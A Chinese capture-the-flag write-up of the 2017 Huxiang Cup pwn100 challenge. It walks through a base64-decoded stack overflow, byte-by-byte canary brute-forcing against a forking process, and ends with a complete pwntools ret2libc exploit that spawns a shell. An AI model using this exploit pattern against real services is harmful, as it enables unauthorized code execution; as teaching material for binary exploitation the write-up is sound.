2017年湖湘杯pwn100
- 栈溢出
- 绕过canary
赛题链接
https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn100h
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。测试
静态分析找到漏洞
打开IDA查看代码
找到main函数,跟进sub_8048B29()
跟进去找到输入点,可以看到最大可以输入512字节的数据,对于输入格式的要求是能够进行base64解码。
根据我圈起来的地方基本上可以很明显的看出这是base64解密了
如果对base64还有不懂,可以参考base64 c语言实现和维基百科
找到栈溢出
base64解码的结果存入char数组v21[257],base64解码之后的数据大小大概是原来的3/4,足够造成栈溢出了。
漏洞函数地址为0x080487E6
分析下多进程
wait(0)函数的作用是等待任意一个子进程退出。
http://www.cnblogs.com/linux-sir/archive/2012/01/27/2330014.html
利用漏洞
checksec查看开启了什么保护,这题的难点就在canary了。
利用思路
一般的思路是先leak出canary的cookie,然后在payload里,把原来的canary位置的cookie用我们leak出的正确的cookie写入,之后就是正常的rop。
不过这题,emmm,有个fork呀……参考这篇文章http://0x48.pw/2017/03/14/0x2d/,直接爆破canary
这是个32位的程序,所以canary有4个字节,最低位一定是\x00,所以只需要爆破三个字节即可。
构造爆破payload格式为:padding+canary+chr(i)(canary的玩法不要太多,可以参考这篇文章:http://veritas501.space/2017/04/28/论canary的几种玩法/)
爆破
先找到padding的大小
再看看canary在哪,在数组旁边。
所以我们的padding大小就是257字节了。
再重复一遍,对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。 那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
爆破函数
1 2 3 4 5 6 7 8 9 10 11 | canary = '\x00' p.recvuntil( 'May be I can know if you give me some data[Y/N]\n' ) for i in xrange ( 3 ): for j in xrange ( 256 ): p.send( 'Y\n' ) p.send(b64encode( 'a' * 257 + canary + chr (j))) recv = p.recvuntil( 'May be I can know if you give me some data[Y/N]\n' ) if 'Finish' in recv: canary + = chr (j) break print 'find canary:' + canary.encode( 'hex' ) |
构造rop
关于构造rop可以参考蒸米的文章:https://yq.aliyun.com/articles/58699
leak出puts函数的地址
所以我们的payload1格式就是rop = padding + canary + padding + puts_plt_addr + 漏洞函数地址 + puts_got_addr(作为puts的参数)
计算system地址和在libc里找到'/bin/sh'地址
libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
next(libc.search('/bin/sh')- libc.symbols['puts'] + u32(puts_addr)
return to system,getshell
payload2格式为rop=padding+canary+padding+system_addr+padding+sh_addr
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import * from base64 import * elf = ELF( 'pwns' ) # libc = ELF('libc.so.6') libc = ELF( '/lib/i386-linux-gnu/libc.so.6' ) puts_plt_addr = elf.plt[ 'puts' ] puts_got_addr = elf.got[ 'puts' ] vulc_addr = 0x080487E6 p = process( './pwns' ) # brute canary = '\x00' p.recvuntil( 'May be I can know if you give me some data[Y/N]\n' ) for i in xrange ( 3 ): for j in xrange ( 256 ): p.send( 'Y\n' ) p.send(b64encode( 'a' * 257 + canary + chr (j))) recv = p.recvuntil( 'May be I can know if you give me some data[Y/N]\n' ) if 'Finish' in recv: canary + = chr (j) break print 'find canary:' + canary.encode( 'hex' ) payload1 = 'a' * 257 + canary + 'a' * 12 + flat(puts_plt_addr,vulc_addr,puts_got_addr) p.send( 'Y\n' ) p.recvuntil( 'Give me some datas:\n\n' ) p.send(b64encode(payload1)) puts_addr = p.recv()[ 268 : 268 + 4 ] system_addr = libc.symbols[ 'system' ] - libc.symbols[ 'puts' ] + u32(puts_addr) sh_addr = next (libc.search( '/bin/sh' )) - libc.symbols[ 'puts' ] + u32(puts_addr) p.send( 'Y\n' ) p.send( 'Y\n' ) payload2 = 'a' * 257 + canary + 'a' * 12 + flat(system_addr,p32( 1 ),sh_addr) p.send(b64encode(payload2)) p.interactive() |
